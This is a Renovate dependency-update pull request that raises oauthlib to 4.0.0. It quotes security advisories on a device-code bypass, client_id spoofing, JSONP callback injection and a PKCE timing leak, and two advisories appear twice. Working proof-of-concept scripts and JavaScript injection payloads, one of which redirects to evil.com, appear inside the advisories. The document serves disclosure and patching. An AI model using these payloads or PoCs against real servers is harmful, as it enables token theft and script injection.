Skip to content

chore(deps): update dependency oauthlib to v4 [security] - #773

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-oauthlib-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-oauthlib-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 28, 2026 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
oauthlib (changelog) ==3.3.1 → ==4.0.0 age adoption passing confidence

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

OAuthLib: Bearer token can be retrieved as long as client knows a valid client ID for device workflow

CVE-2026-49272 / GHSA-3jp2-3mrg-2vxc

More information

Details

Summary

A call to the token endpoint with a grant type of "urn:ietf:params:oauth:grant-type:device_code" and a bogus device_code is able to get a bearer token as long as they know a valid client ID enabled for the device workflow.

Details

Section 3.4 of the RFC 8628 spec says that the token endpoint should take in device_code as a required parameter.DeviceCodeGrant.validate_token_request does not perform any validation of device_code. DeviceCodeGrant.validate_token_request should be validating that device_code was passed in as a parameter and that it is valid, similar to how AuthorizationCodeGrant.validate_token_request does the checks here and here.

I would like to propose a new method be added to RequestValidator called validate_device_code that is similar to the validate_code method and is called inside of DeviceCodeGrant.validate_token_request.

PoC

Create an implementation of RequestValidation.authenticate_client that returns True if the client's client_type is "public". You would find yourself in this scenario because there's another issue with DeviceCodeGrant.validate_token_request where it doesn't properly handle public clients (see https://github.com/oauthlib/oauthlib/issues/919).

Create a client that has a client_type of "public" and set it's grant_type to "urn:ietf:params:oauth:grant-type:device_code".

With this implementation of RequestValidation.authenticate_client done, use that validator for your token endpoint. Call the token endpoint with a body of

{
  "client_id": <ID of the public client you made>,
  "grant_type": "urn:ietf:params:oauth:grant-type:device_code",
  "device_code": <anything you want since it's not validated>
}

You now have a bearer token for the client without a valid device_code.

Impact

Anyone using the RFC 8628 device workflow in oauthlib that doesn't realize the device_code parameter is not being validated.

Severity

  • CVSS Score: 8.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client

CVE-2026-118669 / GHSA-7984-qgvg-3j9c

More information

Details

Summary

OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied client_id from the request body.

In affected token grant flows, authenticate_client(request) sets request.client to the authenticated client object, but OAuthlib does not require request.client_id to match request.client.client_id. If the request body already contains client_id=..., OAuthlib keeps that value and passes it to validate_grant_type() and validate_scopes().

As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's client_id in the token request body, and cause grant and scope validation to run under that other client identity.

Affected Surface

The affected public surface is the OAuth2 token endpoint handling for:

  • client_credentials
  • password / Resource Owner Password Credentials

The issue is relevant to OAuthlib provider deployments where:

  • the attacker has credentials for one valid lower-privilege confidential client;
  • another client has broader grants or scopes;
  • the application validator uses the client_id argument passed by OAuthlib in validate_grant_type() or validate_scopes(), as the RequestValidator API is designed to support.

Deployments whose validators ignore the client_id argument and authorize only from request.client may not be affected.

Details

Request parses query and body parameters into request attributes, including client_id:

The RequestValidator.authenticate_client() contract requires the integrator to authenticate the client and set request.client:

For the client_credentials grant, OAuthlib authenticates the client, verifies that request.client has a client_id, then performs grant and scope validation before normalizing request.client_id from request.client.client_id:

The problematic order is:

if not self.request_validator.authenticate_client(request):
    ...
elif not hasattr(request.client, 'client_id'):
    ...

self.validate_grant_type(request)

request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)

Because OAuthlib only fills request.client_id when it is missing, an attacker-supplied body value such as client_id=high survives even when request.client.client_id == "low".

The shared grant helper then authorizes using request.client_id, while passing the authenticated client object separately:

The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.client_id from request.client.client_id:

This creates an inconsistent identity state:

request.client.client_id == "low"   # authenticated client
request.client_id == "high"         # attacker-supplied request parameter

OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.client_id as the first-class client_id argument.

Impact

An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the client_id argument.

Concrete impact can include:

  • issuing access tokens with scopes not assigned to the authenticated client;
  • allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
  • persisting tokens under a spoofed client_id while the authenticated client object is different.

This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.

PoC

Create the following files in an empty directory.

requirements.txt:

oauthlib==3.3.1

repro.py:

import base64
import json

from oauthlib.oauth2 import (
    BearerToken,
    ClientCredentialsGrant,
    RequestValidator,
    ResourceOwnerPasswordCredentialsGrant,
    TokenEndpoint,
)

class Client:
    def __init__(self, client_id):
        self.client_id = client_id

CLIENTS = {
    "low": {
        "secret": "low-secret",
        "grants": {"client_credentials", "password"},
        "scopes": {"read"},
    },
    "high": {
        "secret": "high-secret",
        "grants": {"client_credentials", "password"},
        "scopes": {"read", "admin"},
    },
}

class DemoValidator(RequestValidator):
    def __init__(self):
        self.saved_tokens = []

    def authenticate_client(self, request, *args, **kwargs):
        authorization = request.headers.get("Authorization", "")
        prefix = "Basic "
        if not authorization.startswith(prefix):
            return False

        decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
        client_id, secret = decoded.split(":", 1)
        record = CLIENTS.get(client_id)
        if record is None or record["secret"] != secret:
            return False

        # This is the authenticated client identity.
        request.client = Client(client_id)
        return True

    def client_authentication_required(self, request, *args, **kwargs):
        return True

    def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
        record = CLIENTS.get(client_id)
        return record is not None and grant_type in record["grants"]

    def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
        record = CLIENTS.get(client_id)
        return record is not None and set(scopes or []) <= record["scopes"]

    def get_default_scopes(self, client_id, request, *args, **kwargs):
        return []

    def validate_user(self, username, password, client, request, *args, **kwargs):
        if username == "alice" and password == "wonderland":
            request.user = username
            return True
        return False

    def save_bearer_token(self, token, request, *args, **kwargs):
        self.saved_tokens.append({
            "token": dict(token),
            "authenticated_client_id": request.client.client_id,
            "request_client_id": request.client_id,
            "scopes": list(request.scopes or []),
        })

validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
    default_grant_type="client_credentials",
    default_token_type=token,
    grant_types={
        "client_credentials": ClientCredentialsGrant(validator),
        "password": ResourceOwnerPasswordCredentialsGrant(validator),
    },
)

def low_client_headers():
    value = base64.b64encode(b"low:low-secret").decode("ascii")
    return {"Authorization": f"Basic {value}"}

def token_request(body):
    _headers, response_body, status = endpoint.create_token_response(
        "https://auth.example/token",
        body=body,
        headers=low_client_headers(),
    )
    return status, json.loads(response_body)

def assert_rejected(label, body):
    status, response = token_request(body)
    print(label, status, response)
    if status == 200:
        raise SystemExit(f"{label}: expected rejection, got success")

def assert_spoofed_success(label, body):
    status, response = token_request(body)
    print(label, status, response)
    if status != 200:
        raise SystemExit(f"{label}: expected token, got {status} {response}")
    if response.get("scope") != "admin":
        raise SystemExit(f"{label}: expected admin scope, got {response}")

    saved = validator.saved_tokens[-1]
    if saved["authenticated_client_id"] != "low":
        raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
    if saved["request_client_id"] != "high":
        raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")

assert_rejected(
    "control client_credentials as low requesting admin",
    "grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
    "spoofed client_credentials as low with client_id=high",
    "grant_type=client_credentials&client_id=high&scope=admin",
)

assert_rejected(
    "control password as low requesting admin",
    "grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
    "spoofed password as low with client_id=high",
    "grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)

print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))

Run:

python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py

Expected result:

control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED

The success condition is that both successful token responses are produced while the saved token state shows:

{
  "authenticated_client_id": "low",
  "request_client_id": "high",
  "scopes": ["admin"]
}

That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.

Suggested Remediation

After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.

For authenticated confidential-client flows, a safer invariant is:

if request.client is not None:
    if request.client_id is not None and request.client_id != request.client.client_id:
        raise InvalidClientError(...)
    request.client_id = request.client.client_id

This should happen before validate_grant_type() and validate_scopes() are called.

Reporters:

Severity

  • CVSS Score: 8.4 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation

CVE-2026-49264 / GHSA-hj66-6f7g-4r5v / PYSEC-2026-4113

More information

Details

Summary

When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.

Details

The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.

When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:

##### Error response path (line 72-73):
if self.enable_jsonp and request.callback:
    response_body = '{}({});'.format(request.callback, response_body)

##### Success response path (line 81-82):
if self.enable_jsonp and request.callback:
    response_body = request.callback + '();'

The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.

There is no validation of any kind on the callback parameter:

  • No check that it is a valid JavaScript identifier
  • No whitelist of allowed characters
  • No escaping or sanitization

A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.

How the injection works:

An attacker sends a revocation request with a crafted callback value:

POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded

token=anything&callback=alert(document.cookie)//

The server responds with:

alert(document.cookie)//({"error": "invalid_client"});

This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.

Execution context and attack surface:

JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.

The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.

Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.

PoC

Requirements: Python 3.x with oauthlib installed (pip install oauthlib).

from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator

class FailValidator(RequestValidator):
    """Auth fails -> triggers error response path (lines 72-73)."""
    def client_authentication_required(self, request, *a, **kw): return True
    def authenticate_client(self, request, *a, **kw): return False
    def authenticate_client_id(self, client_id, request, *a, **kw): return False

class PassValidator(RequestValidator):
    """Auth passes -> triggers success response path (lines 81-82)."""
    def client_authentication_required(self, request, *a, **kw): return False
    def authenticate_client_id(self, client_id, request, *a, **kw): return True
    def revoke_token(self, token, token_type_hint, request, *a, **kw): pass

payloads = [
    "alert(document.cookie)//",
    "window.location='https://evil.com/'//",
    "eval('malicious')//",
]

##### --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
    h, body, status = ep_fail.create_revocation_response(
        "https://auth.example.com/revoke", http_method="POST",
        body=f"token=x&callback={p}")
    assert p in body, "Payload not reflected"
    print(f"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}")

##### --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
    h, body, status = ep_pass.create_revocation_response(
        "https://auth.example.com/revoke", http_method="POST",
        body=f"token=x&callback={p}")
    assert p in body, "Payload not reflected"
    print(f"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}")

##### --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
    "https://auth.example.com/revoke", http_method="POST",
    body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f"  [{status}] {body}")
print("\nAll assertions passed.")

Expected output:

Error path (enable_jsonp=True, auth fails):
  [401] Content-Type: application/json  Body: alert(document.cookie)//({"error": "invalid_client"});
  [401] Content-Type: application/json  Body: window.location='https://evil.com/'//({"error": "invalid_client"});
  [401] Content-Type: application/json  Body: eval('malicious')//({"error": "invalid_client"});

Success path (enable_jsonp=True, revocation succeeds):
  [200] Content-Type: (none)  Body: alert(document.cookie)//();
  [200] Content-Type: (none)  Body: window.location='https://evil.com/'//();
  [200] Content-Type: (none)  Body: eval('malicious')//();

Control (enable_jsonp=False, default):
  [401] {"error": "invalid_client"}

All assertions passed.

Both paths reflect the attacker's payload verbatim into the response body.

Impact

Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.

Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.

The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.

Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.

Suggested fix

Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:

import re

##### Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')

##### In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
    if not JSONP_CALLBACK_PATTERN.match(request.callback):
        request.callback = None

This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.

As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.

Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)

CVE-2026-49265 / GHSA-xpv3-w29h-x7cv / PYSEC-2026-4114

More information

Details

Summary

A timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation
of the Authorization Code Grant flow. The code_challenge_method_plain function
uses Python's standard == operator for string comparison instead of a
constant-time comparison function, potentially allowing timing-based attacks.

Affected Component
  • File: oauthlib/oauth2/rfc6749/grant_types/authorization_code.py
  • Functions: code_challenge_method_plain, code_challenge_method_s256
  • Vulnerability Type: CWE-208 (Observable Timing Discrepancy)
Technical Details

Python's == operator uses short-circuit evaluation when comparing strings:

  1. Returns False immediately if lengths differ
  2. Compares characters left-to-right, stopping at first mismatch

This means comparison time varies linearly with the length of the common prefix
between the attacker-supplied verifier and the stored challenge, creating a
measurable timing oracle.

Proof of Concept

Tested locally against oauthlib source (network jitter eliminated to isolate
pure Python execution time):

Input Result Time (10M iterations)
Wrong first char (B + A*49) Fast reject 0.34106s
49 chars correct (A*49 + B) Deep compare 0.37847s
Difference 0.03741s

The ~37ms delta over 10M iterations corresponds to nanosecond-level differences
per call, which are statistically exploitable under controlled conditions.

Attack Scenario
  1. Attacker intercepts authorization_code via Custom URI Scheme Hijacking
  2. PKCE blocks token request — attacker lacks code_verifier
  3. Attacker sends repeated requests to /token endpoint measuring response times
  4. Using timing oracle, attacker recovers code_verifier character by character
  5. Attacker obtains Access Token → Account Takeover

Note: Practical exploitability is limited due to the single-use nature of
authorization codes and real-world network noise. However, the vulnerable
pattern should be corrected as a defense-in-depth measure.

Recommended Fix

Replace == with hmac.compare_digest() for constant-time comparison:

cr: Elvin Latifli

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation

CVE-2026-49264 / GHSA-hj66-6f7g-4r5v / PYSEC-2026-4113

More information

Details

Summary

When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.

Details

The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.

When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:

##### Error response path (line 72-73):
if self.enable_jsonp and request.callback:
    response_body = '{}({});'.format(request.callback, response_body)

##### Success response path (line 81-82):
if self.enable_jsonp and request.callback:
    response_body = request.callback + '();'

The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.

There is no validation of any kind on the callback parameter:

  • No check that it is a valid JavaScript identifier
  • No whitelist of allowed characters
  • No escaping or sanitization

A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.

How the injection works:

An attacker sends a revocation request with a crafted callback value:

POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded

token=anything&callback=alert(document.cookie)//

The server responds with:

alert(document.cookie)//({"error": "invalid_client"});

This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.

Execution context and attack surface:

JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.

The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.

Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.

PoC

Requirements: Python 3.x with oauthlib installed (pip install oauthlib).

from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator

class FailValidator(RequestValidator):
    """Auth fails -> triggers error response path (lines 72-73)."""
    def client_authentication_required(self, request, *a, **kw): return True
    def authenticate_client(self, request, *a, **kw): return False
    def authenticate_client_id(self, client_id, request, *a, **kw): return False

class PassValidator(RequestValidator):
    """Auth passes -> triggers success response path (lines 81-82)."""
    def client_authentication_required(self, request, *a, **kw): return False
    def authenticate_client_id(self, client_id, request, *a, **kw): return True
    def revoke_token(self, token, token_type_hint, request, *a, **kw): pass

payloads = [
    "alert(document.cookie)//",
    "window.location='https://evil.com/'//",
    "eval('malicious')//",
]

##### --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
    h, body, status = ep_fail.create_revocation_response(
        "https://auth.example.com/revoke", http_method="POST",
        body=f"token=x&callback={p}")
    assert p in body, "Payload not reflected"
    print(f"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}")

##### --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
    h, body, status = ep_pass.create_revocation_response(
        "https://auth.example.com/revoke", http_method="POST",
        body=f"token=x&callback={p}")
    assert p in body, "Payload not reflected"
    print(f"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}")

##### --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
    "https://auth.example.com/revoke", http_method="POST",
    body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f"  [{status}] {body}")
print("\nAll assertions passed.")

Expected output:

Error path (enable_jsonp=True, auth fails):
  [401] Content-Type: application/json  Body: alert(document.cookie)//({"error": "invalid_client"});
  [401] Content-Type: application/json  Body: window.location='https://evil.com/'//({"error": "invalid_client"});
  [401] Content-Type: application/json  Body: eval('malicious')//({"error": "invalid_client"});

Success path (enable_jsonp=True, revocation succeeds):
  [200] Content-Type: (none)  Body: alert(document.cookie)//();
  [200] Content-Type: (none)  Body: window.location='https://evil.com/'//();
  [200] Content-Type: (none)  Body: eval('malicious')//();

Control (enable_jsonp=False, default):
  [401] {"error": "invalid_client"}

All assertions passed.

Both paths reflect the attacker's payload verbatim into the response body.

Impact

Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.

Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.

The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.

Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.

Suggested fix

Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:

import re

##### Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')

##### In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
    if not JSONP_CALLBACK_PATTERN.match(request.callback):
        request.callback = None

This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.

As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.

Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)

CVE-2026-49265 / GHSA-xpv3-w29h-x7cv / PYSEC-2026-4114

More information

Details

Summary

A timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation
of the Authorization Code Grant flow. The code_challenge_method_plain function
uses Python's standard == operator for string comparison instead of a
constant-time comparison function, potentially allowing timing-based attacks.

Affected Component
  • File: oauthlib/oauth2/rfc6749/grant_types/authorization_code.py
  • Functions: code_challenge_method_plain, code_challenge_method_s256
  • Vulnerability Type: CWE-208 (Observable Timing Discrepancy)
Technical Details

Python's == operator uses short-circuit evaluation when comparing strings:

  1. Returns False immediately if lengths differ
  2. Compares characters left-to-right, stopping at first mismatch

This means comparison time varies linearly with the length of the common prefix
between the attacker-supplied verifier and the stored challenge, creating a
measurable timing oracle.

Proof of Concept

Tested locally against oauthlib source (network jitter eliminated to isolate
pure Python execution time):

Input Result Time (10M iterations)
Wrong first char (B + A*49) Fast reject 0.34106s
49 chars correct (A*49 + B) Deep compare 0.37847s
Difference 0.03741s

The ~37ms delta over 10M iterations corresponds to nanosecond-level differences
per call, which are statistically exploitable under controlled conditions.

Attack Scenario
  1. Attacker intercepts authorization_code via Custom URI Scheme Hijacking
  2. PKCE blocks token request — attacker lacks code_verifier
  3. Attacker sends repeated requests to /token endpoint measuring response times
  4. Using timing oracle, attacker recovers code_verifier character by character
  5. Attacker obtains Access Token → Account Takeover

Note: Practical exploitability is limited due to the single-use nature of
authorization codes and real-world network noise. However, the vulnerable
pattern should be corrected as a defense-in-depth measure.

Recommended Fix

Replace == with hmac.compare_digest() for constant-time comparison:

cr: Elvin Latifli

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Release Notes

oauthlib/oauthlib (oauthlib)

v4.0.0

Compare Source

OAuth2.0 Provider:

  • Breaking: #​951: Removed JSONP support from token revocation endpoint.
    JSONP has been superseded by CORS for cross-origin requests.
    The enable_jsonp parameter has been removed from RevocationEndpoint
    and the callback parameter has been removed from
    prepare_token_revocation_request.
  • Breaking: #​919, #​920: Fixed DeviceCodeGrant.validate_token_request
    trying to authenticate public clients.
    Client authentication validation has been reorganized and is now shared
    across AuthorizationCodeGrant, DeviceCodeGrant, RefreshTokenGrant
    and ResourceOwnerPasswordCredentialsGrant: the grant_type parameter
    is validated before client authentication, so requests missing
    grant_type now return 400 invalid_request instead of
    401 invalid_client.
  • #​963: Improved PKCE code comparison

Misc:

  • #​904: Stop installing examples into site-packages.
  • #​930: Add devcontainer, Add Python3.14, Python3.14t.
  • #​931: Fix ruff checks about unused variables.
  • #​932: Dropped EOL Python 3.8 from CI.
  • #​934: Pre-commit hooks autoupdate.
  • #​938: Fix typos discovered by typos.
  • Add OAuthLib Maintainer agent for automated issue/PR triage and release
    management.

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies Pull requests that update a dependency file label Oct 28, 2026
github-actions[bot]
github-actions Bot previously approved these changes Oct 28, 2026

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

